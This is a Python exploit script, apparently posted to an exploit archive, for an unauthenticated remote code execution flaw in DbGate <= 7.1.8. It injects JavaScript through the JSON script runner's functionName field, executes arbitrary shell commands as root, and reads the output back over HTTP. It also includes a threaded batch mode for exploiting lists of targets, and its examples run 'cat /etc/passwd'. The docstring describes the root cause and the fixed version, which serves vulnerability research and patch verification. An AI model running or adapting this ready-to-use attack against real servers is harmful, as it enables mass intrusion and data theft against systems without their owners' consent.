Share
## https://sploitus.com/exploit?id=PACKETSTORM:227382
#!/usr/bin/env python3
"""
CVE-2026-47668 - DbGate unauthenticated RCE via JSON script runner code injection
Affected: DbGate <= 7.1.8 (dbgate-serve / dbgate/dbgate Docker image). Fixed in 7.1.9.
Type: RCE (server-side JavaScript code injection -> OS command execution)
Root cause:
DbGate's JSON script runner (POST /runners/start) transpiles a declarative JSON
script into JavaScript source with raw string concatenation. The `functionName`
of an `assign` command is pasted straight after `dbgateApi.` with no validation
(compileShellApiFunctionName). A value shaped like
x;<INJECTED JS>;//
terminates the intended member expression, runs arbitrary JS, and comments out
the trailing call the writer appends. The generated file is forked with a full
Node.js runtime as root. The JSON branch skips the run-shell-script permission
and the allowShellScripting gate that protect the raw-JS branch, and the default
anonymous auth provider hands out a JWT to anyone, so no credentials are needed.
Evidence channel (fully in-band, no egress required):
The child forks with cwd = <rundir>/<runid>, and main.js serves that directory
statically at /runners/data/<runid>/. Redirect command output into a relative
file (out.txt) and read it back over HTTP.
Usage:
python exploit.py --host 127.0.0.1 --port 13008
python exploit.py --host 127.0.0.1 --port 13008 --command "cat /etc/passwd"
python exploit.py --host https://dbgate.corp.com
python exploit.py --host https://dbgate.corp.com:8443/dbgate --command "id"
python exploit.py --list targets.txt --workers 20
"""
import argparse
import base64
import json
import sys
import time
import uuid
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-47668"
VULN_TYPE = "RCE"
DEFAULT_PORT = 3000
HTTP_TIMEOUT = 15
POLL_SECONDS = 6
# --------------------------------------------------------------------------- #
# Standard ALIM output helpers #
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core exploit logic (shared by single-target and scan mode) #
# --------------------------------------------------------------------------- #
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
scheme = "https" if use_tls else "http"
base = f"{scheme}://{host}:{port}"
prefix = path.rstrip("/")
if prefix in ("", "/"):
return base
if not prefix.startswith("/"):
prefix = "/" + prefix
return base + prefix
def _login(sess: requests.Session, base: str) -> str:
"""
Obtain a Bearer token from the default anonymous auth provider.
POST /auth/login {"amoid":"none"} -> {"accessToken":"..."}.
Returns "" when the instance is not using the anonymous provider or when
auth is disabled entirely (in which case no token is needed).
"""
try:
r = sess.post(f"{base}/auth/login",
json={"amoid": "none"},
timeout=HTTP_TIMEOUT, verify=False)
except requests.RequestException:
return ""
try:
data = r.json()
except ValueError:
return ""
# Handle several documented response shapes.
for key in ("accessToken", "access_token", "token"):
if isinstance(data, dict) and data.get(key):
return str(data[key])
if isinstance(data, dict):
inner = data.get("data") or data.get("result")
if isinstance(inner, dict):
for key in ("accessToken", "access_token", "token"):
if inner.get(key):
return str(inner[key])
return ""
def _build_body(command: str) -> dict:
"""
Build the JSON-script request body. The shell command is base64-encoded and
decoded target-side, which removes all quote-escaping concerns. Output is
redirected into the run directory's out.txt so it is retrievable over HTTP.
"""
b64 = base64.b64encode(command.encode()).decode()
node_js = (
"process.mainModule.require('child_process')"
".execSync(\"echo %s|base64 -d|sh > out.txt 2>&1\")" % b64
)
function_name = "x;%s;//" % node_js
return {
"script": {
"type": "json",
"packageNames": [],
"commands": [
{
"type": "assign",
"variableName": "x",
"functionName": function_name,
"props": {},
}
],
}
}
def _auth_headers(token: str) -> dict:
return {"Authorization": f"Bearer {token}"} if token else {}
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
command: str = "id") -> tuple:
"""
Silent probe for --list scan mode. Returns (success, evidence).
Never prints and never calls sys.exit().
"""
base = _base_url(host, port, use_tls, path)
sess = requests.Session()
marker = uuid.uuid4().hex[:12]
probe_cmd = "%s; echo ALIM_%s" % (command, marker)
try:
token = _login(sess, base)
body = _build_body(probe_cmd)
r = sess.post(f"{base}/runners/start", json=body,
headers=_auth_headers(token),
timeout=HTTP_TIMEOUT, verify=False)
if r.status_code == 500 and "Invalid functionName" in r.text:
return False, "blocked - Invalid functionName (patched 7.1.9+)"
if r.status_code == 401:
return False, "auth required - anonymous provider disabled"
try:
runid = r.json().get("runid")
except ValueError:
runid = None
if not runid:
snippet = r.text[:120].replace("\n", " ")
return False, f"no runid (HTTP {r.status_code}): {snippet}"
deadline = time.time() + POLL_SECONDS
while time.time() < deadline:
g = sess.get(f"{base}/runners/data/{runid}/out.txt",
headers=_auth_headers(token),
timeout=HTTP_TIMEOUT, verify=False)
if g.status_code == 200 and ("ALIM_%s" % marker) in g.text:
out = g.text.strip().splitlines()
first = out[0] if out else ""
return True, f"RCE - '{command}' -> {first[:80]}"
time.sleep(0.5)
return False, f"payload dispatched (runid {runid}) but no output - may not have executed"
except requests.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
# --------------------------------------------------------------------------- #
# Single-target verbose exploit #
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str, command: str) -> None:
header(host, port)
base = _base_url(host, port, use_tls, path)
sess = requests.Session()
step(1, "Confirming the auth middleware is active (POST /runners/start, no token)...")
try:
pre = sess.post(f"{base}/runners/start", json={"script": {"type": "json", "commands": []}},
timeout=HTTP_TIMEOUT, verify=False)
section("UNAUTHENTICATED PROBE", f"HTTP {pre.status_code}: {pre.text[:120]}")
except requests.RequestException as e:
done(False, f"target unreachable at {base} ({e.__class__.__name__})")
step(2, "Requesting a Bearer token from the anonymous auth provider...")
token = _login(sess, base)
if token:
section("ACCESS TOKEN", token[:48] + "..." if len(token) > 48 else token)
else:
print(" No token from /auth/login - continuing unauthenticated "
"(instance may run with auth disabled).")
step(3, "Sending the malicious JSON script (functionName code injection)...")
marker = uuid.uuid4().hex[:12]
probe_cmd = "%s; echo ALIM_%s" % (command, marker)
body = _build_body(probe_cmd)
section("INJECTED functionName", body["script"]["commands"][0]["functionName"])
try:
r = sess.post(f"{base}/runners/start", json=body,
headers=_auth_headers(token),
timeout=HTTP_TIMEOUT, verify=False)
except requests.RequestException as e:
done(False, f"request to /runners/start failed ({e.__class__.__name__})")
if r.status_code == 500 and "Invalid functionName" in r.text:
section("SERVER RESPONSE", r.text)
done(False, "Payload rejected by assertValidShellApiFunctionName - target is patched (>= 7.1.9)")
if r.status_code == 401:
section("SERVER RESPONSE", r.text)
done(False, "401 - anonymous auth provider disabled; supply valid credentials")
try:
runid = r.json().get("runid")
except ValueError:
runid = None
if not runid:
section("SERVER RESPONSE", r.text)
done(False, f"No runid returned (HTTP {r.status_code}) - payload not accepted")
section("RUNNER DISPATCHED", f"runid = {runid}")
step(4, f"Reading command output from /runners/data/{runid}/out.txt ...")
deadline = time.time() + POLL_SECONDS
output = None
while time.time() < deadline:
g = sess.get(f"{base}/runners/data/{runid}/out.txt",
headers=_auth_headers(token),
timeout=HTTP_TIMEOUT, verify=False)
if g.status_code == 200 and ("ALIM_%s" % marker) in g.text:
output = g.text
break
time.sleep(0.5)
if output is None:
done(False, f"Payload dispatched (runid {runid}) but no output appeared - "
"target may be patched or the command produced no file")
cleaned = "\n".join(l for l in output.splitlines() if ("ALIM_%s" % marker) not in l).strip()
section("COMMAND OUTPUT", cleaned if cleaned else output.strip())
first_line = cleaned.splitlines()[0] if cleaned.splitlines() else output.strip()
done(True, f"RCE confirmed - command '{command}' output: {first_line[:120]}")
# --------------------------------------------------------------------------- #
# Scan mode (--list) #
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""Parse one target line into (host, port, use_tls, path). None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line and not line.count(":") > 1: # host:port (skip bare IPv6)
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int, command: str) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{path if path != '/' else ''}"
ok, evidence = _try_exploit(host, port, use_tls, path, command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Entry point #
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - DbGate unauthenticated RCE")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
else:
parsed = _parse_target(args.host, args.port)
if parsed:
host, port, use_tls, path = parsed
else:
host, port, use_tls, path = args.host, args.port, False, "/"
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.command)